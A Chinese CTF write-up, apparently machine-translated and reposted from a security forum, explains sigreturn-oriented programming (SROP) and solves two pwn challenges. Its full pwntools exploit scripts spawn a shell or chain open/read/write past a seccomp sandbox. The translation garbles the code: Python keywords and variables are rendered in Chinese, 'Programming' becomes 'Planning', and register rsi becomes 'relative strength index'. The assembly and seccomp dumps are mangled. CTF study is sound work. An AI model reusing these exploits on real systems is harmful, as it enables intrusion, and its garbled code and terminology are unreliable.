发布于2025年12月5日12月5日 这次第六届安迅杯有两道与SROP相关的题目,只是对所学SROP知识的总结。 ## 基础知识 SROP,全称是Sigreturn Oriented Planning。主要触发原理是sigreturn系统调用。当信号发生时,该系统调用通常由程序间接调用。 ### 信号机制 来自ctfwiki:[SROP](https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop) 信号机制是类Unix系统中进程之间传输信息的一种方法。一般我们也称其为软中断信号,或者软中断。例如,可以通过系统调用kill在进程之间发送软中断信号。一般来说,信号机制的常用步骤如下所示: 1、内核向进程发送信号机制,进程会被暂时挂起,进入内核态。 2、内核会为进程保存相应的上下文,主要是将所有寄存器压入栈,压入信号信息,以及指向sigreturn的系统调用地址。此时栈的结构如下图所示。我们将ucontext 和siginfo 部分称为信号帧。需要注意的是,这部分是在用户进程的地址空间中。然后它会跳转到注册的信号处理程序来处理相应的信号。因此,信号处理程序执行完毕后,就会执行sigreturn代码。 3. 信号处理程序返回后,内核执行sigreturn 系统调用来恢复进程先前保存的上下文,其中包括压入所有已注册的寄存器,弹出相应的寄存器,最后恢复进程的执行。其中,32位sigreturn的调用号为119(0x77),64位系统调用号为15(0xf)。 ## 漏洞利用 读完原理我们可以发现,sigreturn系统调用会将进程恢复到之前“保存”的状态,即将寄存器从栈中弹出。在sigreturn系统调用执行过程中,我们可以随意读写堆栈中的值,并且由于内核与信号处理程序无关,因此不会记录信号对应的寄存器值。所以,只要我们能够劫持栈中的数据,伪造一个信号帧,我们就可以控制任意寄存器的值 ### shell 获取 当我们可以控制任意寄存器的值时,只要程序中的数据满足条件,我们就可以使用SROP来获取shell 通过研究ROP攻击,我们知道获取shell实际上是执行系统调用execve(\'/bin/sh\',0,0)。那么是否可以通过控制寄存器来执行这个系统调用呢?答案是肯定的。 获得shell需要满足以下条件: - 堆栈溢出来控制堆栈的内容 - 可以控制rax寄存器为sigreturn系统调用函数的调用号 - 有syscall系统调用函数或汇编代码 - 堆栈空间足够大 具体的SROP操作如下: 1.通过堆栈溢出劫持返回地址并构造SROP 2.控制rax寄存器作为sigreturn的系统调用号 3.执行syscall进入sigreturn系统调用 4、控制堆栈布局,使得sigreturn系统调用之后的pop指令能够准确的控制各个寄存器到我们想要的值。 例如获取shell的寄存器控制: rax —59(execve系统调用号) rdi — '/bin/sh' 相对强弱指数— 0 rdx—0 rip——系统调用 此时继续往下调用就可以执行execve(\'/bin/sh\',0,0)了。 ### SROP 链调用 当然,SROP不能只调用一次。只要堆栈布局合理并且已知一些关键数据,我们就可以执行一系列的SROP链。 例如当程序开启沙箱保护时 我们需要使用open、read、write三个调用 可以进行如下结构 这样,通过设置rsp,我们就可以保证srop链被顺序调用。 ## 工具使用 pwntools集成了关于SROP链的构造函数SigreturnFrame() 工具结构及使用如下: ```` 框架=SigreturnFrame() 帧.rax= 框架.rdi= 帧.rsi= 框架.rdx= 框架.rcx= 帧.rip= 框架.rsp= ```` 使用并参与堆栈布局的构建 只需在有效负载结构中使用字节(帧)包装 ## 一些容易踩的陷阱 程序中有两种类型的系统调用: 一种是syscall函数,它出现在ida中,具有以下类似的汇编代码: ```` .text:00000000004013F7 48 8D 45 E0 lea rax,[rbp+var_20] .text:00000000004013FB B9 18 00 00 00 mov ecx,18h .text:0000000000401400 48 89 C2 mov rdx, rax .text:0000000000401403 BE 01 00 00 00 mov esi, 1 .text:0000000000401408BF 01 00 00 00 mov edi, 1 .text:000000000040140D B8 00 00 00 00 mov eax, 0 .text:0000000000401412 E8 49 FC FF FF 调用_syscall ```` 其plt表也可以在ida 中找到 另一种是系统调用的机器代码形式: ```` .text:00000000004011DC 48 31 C0 异或rax, rax .text:00000000004011DF 48 C7 C2 00 02 00 00 mov rdx, 200h ;计数 .text:00000000004011E6 48 8D 74 24 F0 lea rsi, [rsp+buf] ;缓冲区 .text:00000000004011EB 48 89 C7 mov rdi, rax ; FD .text:00000000004011EE 0F 05 系统调用 ```` 一般以sys_read、sys_write等伪C代码的形式出现 这两种系统调用形式会导致不同的构造方法 具体来说,syscall以syscall函数的形式出现 呼叫流程如下: 由于syscall函数调用需要遵循寄存器参数传递条件,因此在syscall函数调用过程中寄存器将被重新分配。那么在构造工具函数SigreturnFrame()时,需要根据参数传递规则改变调用规则。 ## 例1.2023年江西省赛预赛pwn2 ### 艾达 ```` int __cdecl main(int argc, const char **argv, const char **envp) { 字符缓冲区[16]; //[rsp+0h] [rbp-10h] BYREF 返回sys_read(0, buf,0x200uLL); } ```` 一个非常简单的问题 给定相应的小工具 ```` .text:0000000000401131; __放松{ .text:0000000000401131 F3 0F 1E FA endbr64 .text:0000000000401135 55 推送rbp .text:0000000000401136 48 89 E5 mov rbp, rsp .text:0000000000401139 48 C7 C0 0F 00 00 00 mov rax, 0Fh .text:0000000000401140 C3 ```` 直接SROP构建就足够了 ### 经验值 ```` 从pwn 导入* elf=ELF(\'./pwn\') io=远程('101.132.112.252',30573) #io=进程('./pwn') 上下文(log_level='调试',os='linux',arch='amd64') def dbg(): gdb.attach(io) 暂停() syscall_ret=0x401127 ret=0x4000FE 数据=0x404028 pop_rax=0x401139 #gdb.attach(io,'b0x0000000004000FE') sigframe=SigreturnFrame() sigframe.rax=0 sigframe.rdi=0 sigframe.rdx=0x400 sigframe.rsi=数据 sigframe.rsp=数据+8 sigframe.rip=syscall_ret 有效负载=b'a'*0x10+p64(pop_rax)+p64(syscall_ret)+字节(sigframe)# io.send(有效负载) #dbg() sigframe1=SigreturnFrame() sigframe1.rax=59 sigframe1.rdi=数据 sigframe1.rsi=0 sigframe1.rdx=0 sigframe1.rsp=0 sigframe1.rip=syscall_ret Payload1=b'/bin/sh\\x00'+p64(pop_rax)+p64(syscall_ret)+字节(sigframe1) io.sendline(有效负载1) io.interactive() ```` ### 经验分析 ```` 有效负载=b'a'*0x10+p64(pop_rax)+p64(syscall_ret)+字节(sigframe) ```` 因为程序中没有sh字符串,所以我们需要构造一个read将/bin/sh字符串写入程序中,然后继续执行下一个srop链。 然后将rsp位置设置为一个bss段的地址,这实际上产生了类似于堆栈迁移的效果,导致rsp继续向下执行代码到对应位置 ```` Payload1=b'/bin/sh\\x00'+p64(pop_rax)+p64(syscall_ret)+字节(sigframe1) ```` 所以实际上data+8正是输入后p64(poprax)的位置 然后执行getshell ## 示例2.第六届安讯杯网络安全挑战赛pwn2 ### 艾达 ```` __int64 sub_40136E() { 字符v1[10]; //[rsp+6h] [rbp-2Ah] BYREF _QWORD v2[4]; //[rsp+10h] [rbp-20h] BYREF v2[0]=0x6F6E6B2075206F44LL; v2[1]=0x6920746168772077LL; v2[2]=0xA3F444955532073LL; strcpy(v1, \'easyhack\ \'); 系统调用(1LL,1LL,v1,9LL); 系统调用(0LL,0LL,unk_404060,4096LL); 系统调用(1LL,1LL,v2,24LL); 系统调用(0LL,0LL,v1,58LL); 返回0LL; } ```` 也打开了沙盒 ```` 线路代码JT JF K =================================== 0000:0x200x000x000x00000004 A=拱形 0001:0x150x000x0a0xc000003e if (A !=ARCH_X86_64) 转到0012 0002:0x200x000x000x00000000 A=系统编号 0003:0x350x000x010x40000000 如果(A0x40000000) 转到0005 0004:0x150x000x070xffffffff 如果(A!=0xffffffff) 转到0012 0005:0x150x050x000x00000000 如果(A==读取)转到0011 0006:0x150x040x000x00000001 如果(A==写入)转到0011 0007:0x150x030x000x00000002 如果(A==打开)转到0011 0008:0x150x020x000x0000000f if (A==rt_sigreturn) 转到0011 0009:0x150x010x000x0000005a 如果(A==chmod) 转到0011 0010:0x150x000x010x000000e7 if (A !=exit_group) 转到0012 0011:0x060x000x000x7fff0000 返回允许 0012:0x060x000x000x00000000 返回杀死 ```` orw有它 并且有两个系统调用 ```` .plt:0000000000401060 FF 25 6A 2F 00 00 jmp cs:syscall_ptr .plt:0000000000401060 .plt:0000000000401060 _系统调用结束点 .text:0000000000401186 55 推送rbp .text:0000000000401187 48 89 E5 mov rbp, rsp .text:000000000040118A 0F 05 系统调用 ```` ### 分析代码 ```` 系统调用(0LL,0LL,unk_404060,4096LL); 系统调用(0LL,0LL,v1,58LL); ```` 可以看到有两块输入,一块在bss段上,大小为0x1000,另一块在栈上,溢出了0x10字节。 输入长度不够如何构造srop? 这时我们就可以利用这个0x10字节溢出来实现堆栈迁移。将堆栈迁移到bss段后,通过读取第一个段就可以实现非常大的数据读取,这足以构造一个三段SROP链。 程序中也给出了rax的赋值 ```` .text:000000000040118F 55 推送rbp .text:0000000000401190 48 89 E5 mov rbp, rsp .text:0000000000401193 48 C7 C0 0F 00 00 00 mov rax, 0Fh .text:000000000040119A C3 retn ```` ### 经验分析 ```` io.sendafter('easyhack\ ','0') io.sendafter('SUID?\ ',b'\\x00'*(0x2a)+p64(0x404050+0x30)+p64(0x401417)) io.send(b'\\x00'*(0x2a)+p64(0x404050+0x30+0x2a)+p64(0x401417)) io.send(p64(0x404050+0x30+0x2a+0x10)+p64(0x40136e)) ```` 第一个是经典的0x10 字节堆栈迁移过程。如果不明白,可以看这篇文章:【栈迁移详解-先知社区(aliyun.com)】(https://xz.aliyun.com/t/12189) 这里就不多赘述了 接下来是SROP链的构建: ```` 有效负载=b'./flag\\x00\\x00'.ljust(0x30, b'\\x00') 框架=SigreturnFrame() 框架.rdi=常量.SYS_open 帧.rsi=0x404060 帧.rdx=0 框架.rcx=0 frame.rip=系统调用 帧.rsp=0x404198 有效负载+=p64(rax_15)+p64(syscall2)+字节(帧) 框架=SigreturnFrame() 框架.rdi=常量.SYS_read 帧.rsi=3 帧.rdx=elf.bss()+0x500 帧.rcx=0x50 frame.rip=系统调用 帧.rsp=0x4042a0 有效负载+=p64(rax_15)+p64(syscall2)+字节(帧) 框架=SigreturnFrame() 框架.rdi=常量.SYS_write 帧.rsi=1 帧.rdx=elf.bss()+0x500 帧.rcx=0x50 frame.rip=系统调用 帧.rsp=0 有效负载+=p64(rax_15)+p64(syscall2)+字节(帧) ```` 三阶段构造,打开、读取、写入,将标志字符串和垃圾数据放在一起构造堆栈溢出 然后是rax-15、syscall、frame 重点是rsp位置需要通过调试确定运行地址 让rsp正好落在下一个SROP链的起点,依次执行 完整经验: ```` 从pwn 导入* io=进程('./chall2') #io=远程('47.108.206.43',37272) context.log_level='调试' 上下文(os='linux',arch='amd64') elf=ELF('./chall2') 系统调用2=0x40118A 系统调用=0x401060 rax_15=0x401193 主要=0x40136e io.sendafter('easyhack\ ','0') io.sendafter('SUID?\ ',b'\\x00'*(0x2a)+p64(0x404050+0x30)+p64(0x401417)) io.send(b'\\x00'*(0x2a)+p64(0x404050+0x30+0x2a)+p64(0x401417)) io.send(p64(0x404050+0x30+0x2a+0x10)+p64(0x40136e)) 有效负载=b'./flag\\x00\\x00'.ljust(0x30, b'\\x00') 框架=SigreturnFrame() 框架.rdi=常量.SYS_open 帧.rsi=0x404060 帧.rdx=0 框架.rcx=0 frame.rip=系统调用 帧.rsp=0x404198 有效负载+=p64(rax_15)+p64(syscall2)+字节(帧) 框架=SigreturnFrame() 框架.rdi=常量.SYS_read 帧.rsi=3 帧.rdx=elf.bss()+0x500 帧.rcx=0x50 frame.rip=系统调用 帧.rsp=0x4042a0 有效负载+=p64(rax_15)+p64(syscall2)+字节(帧) 框架=SigreturnFrame() 框架.rdi=常量.SYS_write 帧.rsi=1 帧.rdx=elf.bss()+0x500 帧.rcx=0x50 frame.rip=系统调用 帧.rsp=0x404088 有效负载+=p64(rax_15)+p64(syscall2)+字节(帧) io.sendafter('easyhack\ ',有效负载) io.send('a') io.interactive() ```转载自先知社区:https://xz.aliyun.com/t/13198?time__1311=mqmxnDBDcD2DyDGhDBqtsiaf6D9DIxbDalichlgref=https%3A%2F%2Fxz.aliyun.com%2Ftab%2F1 添加一名作者
创建帐户或登录后发表意见